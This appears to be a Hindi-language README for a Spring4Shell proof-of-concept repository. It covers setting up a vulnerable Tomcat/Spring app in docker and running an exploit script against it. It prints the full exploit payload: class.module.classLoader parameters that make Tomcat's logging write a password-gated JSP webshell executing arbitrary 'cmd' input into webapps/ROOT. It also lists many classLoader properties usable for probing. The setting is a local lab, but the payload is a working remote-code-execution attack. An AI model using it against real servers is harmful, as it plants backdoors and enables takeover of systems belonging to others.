Spring4Shell-POC
Spring4Shell भेद्यता का स्थानीय पुनरुत्पादन प्रक्रिया
पर्यावरण की तैयारी
-
पर्यावरण: docker, docker-compose
-
mvn पैकेजिंग, ./target/ROOT.war तैयार करें```shell
mvn package
* सेवा शुरू करें```shell
docker-compose up -d
- सेवा बंद करें```shell
docker-compose down
## पुनरुत्पादन प्रक्रिया
* स्क्रिप्ट चलाएँ```shell
python3 spring-4-shell-exp.py --url "http://127.0.0.1:8080"
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
➜ spring4shell-poc
* docker कंटेनर में देखा जा सकता है कि tomcat एप्लिकेशन सेवा में एक jsp फ़ाइल बनाई गई है
* web के माध्यम से भी सीधे एक्सेस किया जा सकता है
## ध्यान देने योग्य बातें
* spring-4-shell-exp.py में data डेटा```text
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i
if ("j".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = in .read(b)) != -1) {
out.println(new String(b));
}
}
%{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
- tomcat कॉन्फ़िगरेशन पैरामीटर प्रिंट करें
फ़ाइल src/main/webapps/print.jsp के माध्यम से, रनटाइम पर tomcat गुण कॉन्फ़िगरेशन प्रिंट किया जा सकता है```text
class.classLoader.delegate
class.classLoader.clearReferencesRmiTargets
class.classLoader.clearReferencesStopThreads
class.classLoader.clearReferencesStopTimerThreads
class.classLoader.clearReferencesHttpClientKeepAliveThread
class.classLoader.clearReferencesObjectStreamClassCaches
class.classLoader.clearReferencesThreadLocals
class.classLoader.skipMemoryLeakChecksOnJvmShutdown
class.classLoader.clearReferencesLogFactoryRelease
class.classLoader.defaultAssertionStatus
class.classLoader.resources.allowLinking
class.classLoader.resources.cachingAllowed
class.classLoader.resources.cacheObjectMaxSize
class.classLoader.resources.trackLockedFiles
class.classLoader.resources.domain
class.classLoader.resources.throwOnFailure
class.classLoader.resources.context.delegate
class.classLoader.resources.context.server
class.classLoader.resources.context.useNaming
class.classLoader.resources.context.createUploadTargets
class.classLoader.resources.context.allowMultipleLeadingForwardSlashInPath
class.classLoader.resources.context.requestCharacterEncoding
class.classLoader.resources.context.responseCharacterEncoding
class.classLoader.resources.context.dispatchersUseEncodedPaths
class.classLoader.resources.context.useRelativeRedirects
class.classLoader.resources.context.mapperContextRootRedirectEnabled
class.classLoader.resources.context.mapperDirectoryRedirectEnabled
class.classLoader.resources.context.validateClientProvidedNewSessionId
class.classLoader.resources.context.containerSciFilter
class.classLoader.resources.context.sendRedirectBody
class.classLoader.resources.context.preemptiveAuthentication
class.classLoader.resources.context.fireRequestListenersOnForwards
class.classLoader.resources.context.addWebinfClassesResources
class.classLoader.resources.context.webappVersion
class.classLoader.resources.context.resourceOnlyServlets
class.classLoader.resources.context.effectiveMajorVersion
class.classLoader.resources.context.effectiveMinorVersion
class.classLoader.resources.context.logEffectiveWebXml
class.classLoader.resources.context.allowCasualMultipartParsing
class.classLoader.resources.context.swallowAbortedUploads
class.classLoader.resources.context.publicId
class.classLoader.resources.context.antiResourceLocking
class.classLoader.resources.context.useBloomFilterForArchives
class.classLoader.resources.context.parallelAnnotationScanning
class.classLoader.resources.context.configured
class.classLoader.resources.context.cookies
class.classLoader.resources.context.sessionCookieName
class.classLoader.resources.context.useHttpOnly
class.classLoader.resources.context.sessionCookieDomain
class.classLoader.resources.context.sessionCookiePath
class.classLoader.resources.context.sessionCookiePathUsesTrailingSlash
class.classLoader.resources.context.crossContext
class.classLoader.resources.context.defaultContextXml
class.classLoader.resources.context.defaultWebXml
class.classLoader.resources.context.denyUncoveredHttpMethods
class.classLoader.resources.context.altDDName
class.classLoader.resources.context.displayName
class.classLoader.resources.context.distributable
class.classLoader.resources.context.docBase
class.classLoader.resources.context.j2EEApplication
class.classLoader.resources.context.j2EEServer
class.classLoader.resources.context.ignoreAnnotations
class.classLoader.resources.context.path
class.classLoader.resources.context.originalDocBase
class.classLoader.resources.context.privileged
class.classLoader.resources.context.reloadable
class.classLoader.resources.context.override
class.classLoader.resources.context.replaceWelcomeFiles
class.classLoader.resources.context.sessionTimeout
class.classLoader.resources.context.swallowOutput
class.classLoader.resources.context.unpackWAR
class.classLoader.resources.context.copyXML
class.classLoader.resources.context.wrapperClass
class.classLoader.resources.context.jndiExceptionOnFailedWrite
class.classLoader.resources.context.charsetMapperClass
class.classLoader.resources.context.workDir
class.classLoader.resources.context.clearReferencesRmiTargets
class.classLoader.resources.context.clearReferencesStopThreads
class.classLoader.resources.context.clearReferencesStopTimerThreads
class.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread
class.classLoader.resources.context.renewThreadsWhenStoppingContext
class.classLoader.resources.context.clearReferencesObjectStreamClassCaches
class.classLoader.resources.context.clearReferencesThreadLocals
class.classLoader.resources.context.skipMemoryLeakChecksOnJvmShutdown
class.classLoader.resources.context.xmlNamespaceAware
class.classLoader.resources.context.xmlValidation
class.classLoader.resources.context.xmlBlockExternal
class.classLoader.resources.context.tldValidation
class.classLoader.resources.context.name
class.classLoader.resources.context.startChildren
class.classLoader.resources.context.backgroundProcessorDelay
class.classLoader.resources.context.startStopThreads
class.classLoader.resources.context.domain
weijilab/spring4shell-poc
